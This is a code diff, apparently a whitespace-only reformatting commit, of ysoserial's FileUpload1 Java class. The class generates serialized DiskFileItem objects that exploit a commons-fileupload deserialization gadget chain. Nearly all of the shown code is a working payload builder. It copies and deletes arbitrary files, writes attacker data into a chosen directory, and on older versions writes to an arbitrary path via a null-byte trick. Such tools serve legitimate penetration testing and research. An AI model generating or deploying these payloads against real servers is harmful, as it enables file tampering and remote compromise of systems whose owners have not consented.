2222/**
2323 * Gadget chain:
2424 * DiskFileItem.readObject()
25- *
25+ * <p>
2626 * Arguments:
2727 * - copyAndDelete;sourceFile;destDir
2828 * - write;destDir;ascii-data
2929 * - writeB64;destDir;base64-data
3030 * - writeOld;destFile;ascii-data
3131 * - writeOldB64;destFile;base64-data
32- *
32+ * <p>
3333 * Yields:
3434 * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
3535 * - pre 1.3.1 (+ old JRE): write data to an arbitrary file
3636 * - 1.3.1+: write data to a more or less random file in an arbitrary directory
3737 *
3838 * @author mbechler
3939 */
40- @ Dependencies ( {
40+ @ Dependencies ( {
4141 "commons-fileupload:commons-fileupload:1.3.1" ,
4242 "commons-io:commons-io:2.4"
43- } )
44- @ PayloadTest (harness ="ysoserial.test.payloads.FileUploadTest" , precondition = "isApplicableJavaVersion" , flaky = "possible race condition" )
45- @ Authors ({ Authors .MBECHLER })
43+ })
44+ @ PayloadTest (harness = "ysoserial.test.payloads.FileUploadTest" , precondition = "isApplicableJavaVersion" , flaky =
45+ "possible race condition" )
46+ @ Authors ({Authors .MBECHLER })
4647public class FileUpload1 implements ReleaseableObjectPayload <DiskFileItem > {
4748 public static boolean isApplicableJavaVersion () {
4849 return JavaVersion .isAtLeast (7 );
4950 }
5051
51- public DiskFileItem getObject ( String command ) throws Exception {
52+ public DiskFileItem getObject ( String command ) throws Exception {
5253
5354 String [] parts = command .split (";" );
5455
55- if ( parts .length == 3 && "copyAndDelete" .equals (parts [ 0 ]) ) {
56- return copyAndDelete (parts [ 1 ], parts [ 2 ]);
57- }
58- else if ( parts .length == 3 && "write" .equals (parts [ 0 ]) ) {
59- return write (parts [ 1 ], parts [ 2 ].getBytes ("US-ASCII" ));
60- }
61- else if ( parts .length == 3 && "writeB64" .equals (parts [ 0 ]) ) {
62- return write (parts [ 1 ], Base64 .decodeBase64 (parts [ 2 ]));
63- }
64- else if ( parts .length == 3 && "writeOld" .equals (parts [ 0 ]) ) {
65- return writePre131 (parts [ 1 ], parts [ 2 ].getBytes ("US-ASCII" ));
66- }
67- else if ( parts .length == 3 && "writeOldB64" .equals (parts [ 0 ]) ) {
68- return writePre131 (parts [ 1 ], Base64 .decodeBase64 (parts [ 2 ]));
69- }
70- else {
56+ if (parts .length == 3 && "copyAndDelete" .equals (parts [0 ])) {
57+ return copyAndDelete (parts [1 ], parts [2 ]);
58+ } else if (parts .length == 3 && "write" .equals (parts [0 ])) {
59+ return write (parts [1 ], parts [2 ].getBytes ("US-ASCII" ));
60+ } else if (parts .length == 3 && "writeB64" .equals (parts [0 ])) {
61+ return write (parts [1 ], Base64 .decodeBase64 (parts [2 ]));
62+ } else if (parts .length == 3 && "writeOld" .equals (parts [0 ])) {
63+ return writePre131 (parts [1 ], parts [2 ].getBytes ("US-ASCII" ));
64+ } else if (parts .length == 3 && "writeOldB64" .equals (parts [0 ])) {
65+ return writePre131 (parts [1 ], Base64 .decodeBase64 (parts [2 ]));
66+ } else {
7167 throw new IllegalArgumentException ("Unsupported command " + command + " " + Arrays .toString (parts ));
7268 }
7369 }
7470
7571
76- public void release ( DiskFileItem obj ) throws Exception {
72+ public void release ( DiskFileItem obj ) throws Exception {
7773 // otherwise the finalizer deletes the file
7874 DeferredFileOutputStream dfos = new DeferredFileOutputStream (0 , null );
7975 Reflections .setFieldValue (obj , "dfos" , dfos );
8076 }
8177
82- private static DiskFileItem copyAndDelete ( String copyAndDelete , String copyTo ) throws IOException , Exception {
78+ private static DiskFileItem copyAndDelete ( String copyAndDelete , String copyTo ) throws IOException , Exception {
8379 return makePayload (0 , copyTo , copyAndDelete , new byte [1 ]);
8480 }
8581
8682
8783 // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
88- private static DiskFileItem write ( String dir , byte [] data ) throws IOException , Exception {
84+ private static DiskFileItem write ( String dir , byte [] data ) throws IOException , Exception {
8985 return makePayload (data .length + 1 , dir , dir + "/whatever" , data );
9086 }
9187
9288
9389 // writes data to an arbitrary file
94- private static DiskFileItem writePre131 ( String file , byte [] data ) throws IOException , Exception {
90+ private static DiskFileItem writePre131 ( String file , byte [] data ) throws IOException , Exception {
9591 return makePayload (data .length + 1 , file + "\0 " , file , data );
9692 }
9793
9894
99- private static DiskFileItem makePayload ( int thresh , String repoPath , String filePath , byte [] data ) throws IOException , Exception {
95+ private static DiskFileItem makePayload ( int thresh , String repoPath , String filePath , byte [] data ) throws IOException , Exception {
10096 // if thresh < written length, delete outputFile after copying to repository temp file
10197 // otherwise write the contents to repository temp file
10298 File repository = new File (repoPath );
103- DiskFileItem diskFileItem = new DiskFileItem ("test" , "application/octet-stream" , false , "test" , 100000 , repository );
99+ DiskFileItem diskFileItem = new DiskFileItem ("test" , "application/octet-stream" , false , "test" , 100000 ,
100+ repository );
104101 File outputFile = new File (filePath );
105102 DeferredFileOutputStream dfos = new DeferredFileOutputStream (thresh , outputFile );
106103 OutputStream os = (OutputStream ) Reflections .getFieldValue (dfos , "memoryOutputStream" );
@@ -112,7 +109,7 @@ private static DiskFileItem makePayload ( int thresh, String repoPath, String fi
112109 }
113110
114111
115- public static void main ( final String [] args ) throws Exception {
112+ public static void main ( final String [] args ) throws Exception {
116113 PayloadRunner .run (FileUpload1 .class , args );
117114 }
118115
0 commit comments